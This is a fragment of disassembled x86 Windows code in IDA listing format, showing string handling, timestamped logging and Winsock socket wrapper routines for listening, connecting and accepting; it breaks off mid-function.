		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: ___:00402266j
		push	ebx
		mov	ebx, dword_50FAF8
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_506E5C


loc_419AA2:				; CODE XREF: ___:00419ABEj
		cmp	byte ptr [esi],	0
		jz	short loc_419AB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419AC6


loc_419AB2:				; CODE XREF: ___:00419AA5j
		add	esi, 80h
		cmp	esi, offset dword_50AE5C
		jl	short loc_419AA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419AC6:				; CODE XREF: ___:00419AB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419AE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	edi, dword_50FAFC
		mov	esi, offset dword_50AE5C


loc_419AFB:				; CODE XREF: sub_419AE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419B0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419B0F:				; CODE XREF: sub_419AE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_506E5C
		jge	short loc_419AFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_506E5C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419AE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419BB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_50FAFC
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419C21
		mov	[edx+180h], al


loc_419C21:				; CODE XREF: ___:00419C19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419D32


loc_419C3F:				; CODE XREF: ___:00419D25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419D00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419D00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419CDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 14h
		jmp	short loc_419D00
; ---------------------------------------------------------------------------


loc_419CDD:				; CODE XREF: ___:00419CAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 10h


loc_419D00:				; CODE XREF: ___:00419C8Aj
					; ___:00419C91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_50FAF8
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419D2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419C3F


loc_419D2B:				; CODE XREF: ___:00419D16j
		mov	esi, [esp+614h]


loc_419D32:				; CODE XREF: ___:00419C39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419DD0:				; CODE XREF: ___:004018CFj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419DEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419DEE:				; CODE XREF: ___:00419DE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419E39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E39:				; CODE XREF: ___:00419E2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419E51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E51:				; CODE XREF: ___:00419E47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E90:				; CODE XREF: ___:00401E65j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4DE2D5


loc_419E98:				; CODE XREF: ___:00419EA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419EAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E5E45
		jle	short loc_419E98


loc_419EAA:				; CODE XREF: ___:00419E9Bj
		cmp	edi, 13h
		jle	short loc_419EB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419EB4:				; CODE XREF: ___:00419EADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4DE1DBh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5EA1BD
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EA1BD
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419F50	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D6765


loc_419F58:				; CODE XREF: sub_419F50+18j
		cmp	dword ptr [eax], 0
		jz	short loc_419F6A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4DE2D5
		jle	short loc_419F58


loc_419F6A:				; CODE XREF: sub_419F50+Bj
		cmp	edi, 13h
		jle	short loc_419F74
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419F74:				; CODE XREF: sub_419F50+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D666Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5EA1BD
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EA1BD
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_419F50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A010	proc near		; CODE XREF: sub_401C35j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43E0BC
		mov	eax, dword_50BB28
		test	eax, eax
		jnz	short loc_41A048
		mov	eax, dword_50BB28
		inc	eax
		mov	dword_50BB28, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		call	near ptr 71AB664Dh
		nop
		jmp	short loc_41A055
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_41A010+19j
		mov	edx, dword_50BB28
		inc	edx
		mov	dword_50BB28, edx


loc_41A055:				; CODE XREF: sub_41A010+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F60
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A0E0	proc near		; CODE XREF: ___:004018D4j sub_401AF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FC8
		test	[esp+4+arg_0], 1
		jz	short loc_41A0F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A0F8:				; CODE XREF: sub_41A0E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401FC8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43E0BC
		test	al, al
		jnz	short loc_41A125
		call	sub_4014DD


loc_41A125:				; CODE XREF: sub_41A110+Ej
		mov	eax, 1
		mov	ecx, dword_50BB28
		cmp	ecx, eax
		jle	short loc_41A140
		mov	eax, dword_50BB28
		dec	eax
		mov	dword_50BB28, eax

locret_41A13F:				; CODE XREF: sub_41A110:loc_41A140j
		retn
; ---------------------------------------------------------------------------


loc_41A140:				; CODE XREF: sub_41A110+22j
		jnz	short locret_41A13F
		mov	ecx, dword_50BB28
		dec	ecx
		mov	dword_50BB28, ecx
		jmp	near ptr 71AB4428h
sub_41A110	endp

; ---------------------------------------------------------------------------
		retn	9090h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A180:				; CODE XREF: ___:004015A0j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43ACCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jz	loc_41A231
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A1B9
		mov	al, 1
		jmp	short loc_41A231
; ---------------------------------------------------------------------------


loc_41A1B9:				; CODE XREF: ___:0041A1B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		call	near ptr 77C47A90h
		nop
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401636
		push	eax
		mov	ecx, esi
		call	sub_4020C7
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40186B
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A231:				; CODE XREF: ___:0041A1A5j
					; ___:0041A1B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A290	proc near		; CODE XREF: sub_40195Bj
		mov	al, byte_443DC0
		retn
sub_41A290	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A2B0	proc near		; CODE XREF: sub_4020C7j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A2D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A2D0:				; CODE XREF: sub_41A2B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A471
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A30A
		mov	ecx, esi
		call	sub_4014DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A30A:				; CODE XREF: sub_41A2B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A319
		push	1
		jmp	short loc_41A31B
; ---------------------------------------------------------------------------


loc_41A319:				; CODE XREF: sub_41A2B0+63j
		push	0


loc_41A31B:				; CODE XREF: sub_41A2B0+67j
		mov	ecx, esi
		call	sub_4018BB
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_50FC44
		test	eax, eax
		jge	short loc_41A3BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A2B0+D6j
					; sub_41A2B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A46A


loc_41A3BC:				; CODE XREF: sub_41A2B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_50FC80
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A430


loc_41A3FB:				; CODE XREF: sub_41A2B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A445
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A414
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A445


loc_41A414:				; CODE XREF: sub_41A2B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A3FB


loc_41A430:				; CODE XREF: sub_41A2B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A461
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A463
; ---------------------------------------------------------------------------


loc_41A445:				; CODE XREF: sub_41A2B0+152j
					; sub_41A2B0+162j
		mov	ecx, esi
		call	sub_4014DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A461:				; CODE XREF: sub_41A2B0+189j
		push	0


loc_41A463:				; CODE XREF: sub_41A2B0+193j
		mov	ecx, esi
		call	sub_4018BB


loc_41A46A:				; CODE XREF: sub_41A2B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A471:				; CODE XREF: sub_41A2B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A2B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A500	proc near		; CODE XREF: sub_4014DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A51A:				; CODE XREF: sub_41A500+Cj
					; sub_41A500+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A500	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A540	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F60
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A540	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5B0	proc near		; CODE XREF: sub_401488j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A5C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5C6:				; CODE XREF: sub_41A5B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A67F
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A5FB
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5FB:				; CODE XREF: sub_41A5B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41A654
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A654:				; CODE XREF: sub_41A5B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A678
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A678:				; CODE XREF: sub_41A5B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A67F:				; CODE XREF: sub_41A5B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A5B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6D0	proc near		; CODE XREF: sub_401B81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A6EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A6EE:				; CODE XREF: sub_41A6D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A705
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A705:				; CODE XREF: sub_41A6D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A781
		call	sub_40195B
		test	al, al
		jz	short loc_41A774
		mov	edi, dword_50FC80


loc_41A71E:				; CODE XREF: sub_41A6D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A76B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A781


loc_41A76B:				; CODE XREF: sub_41A6D0+84j
		call	sub_40195B
		test	al, al
		jnz	short loc_41A71E


loc_41A774:				; CODE XREF: sub_41A6D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A781:				; CODE XREF: sub_41A6D0+3Dj
					; sub_41A6D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A7A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A7B6
; ---------------------------------------------------------------------------


loc_41A7A4:				; CODE XREF: sub_41A6D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A7B6:				; CODE XREF: sub_41A6D0+D2j
		mov	eax, [esi+806h]
		push	eax
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A7D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7D9:				; CODE XREF: sub_41A6D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_4020EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A6D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A860	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A860	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A890	proc near		; CODE XREF: sub_401960j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B3B
		retn	0Ch
sub_41A890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A8C0	proc near		; CODE XREF: sub_401B3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AA24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AA24
		mov	edi, dword_50F8A4
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41A9BC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41A9BC
		call	sub_40195B
		test	al, al
		jz	loc_41A9BC


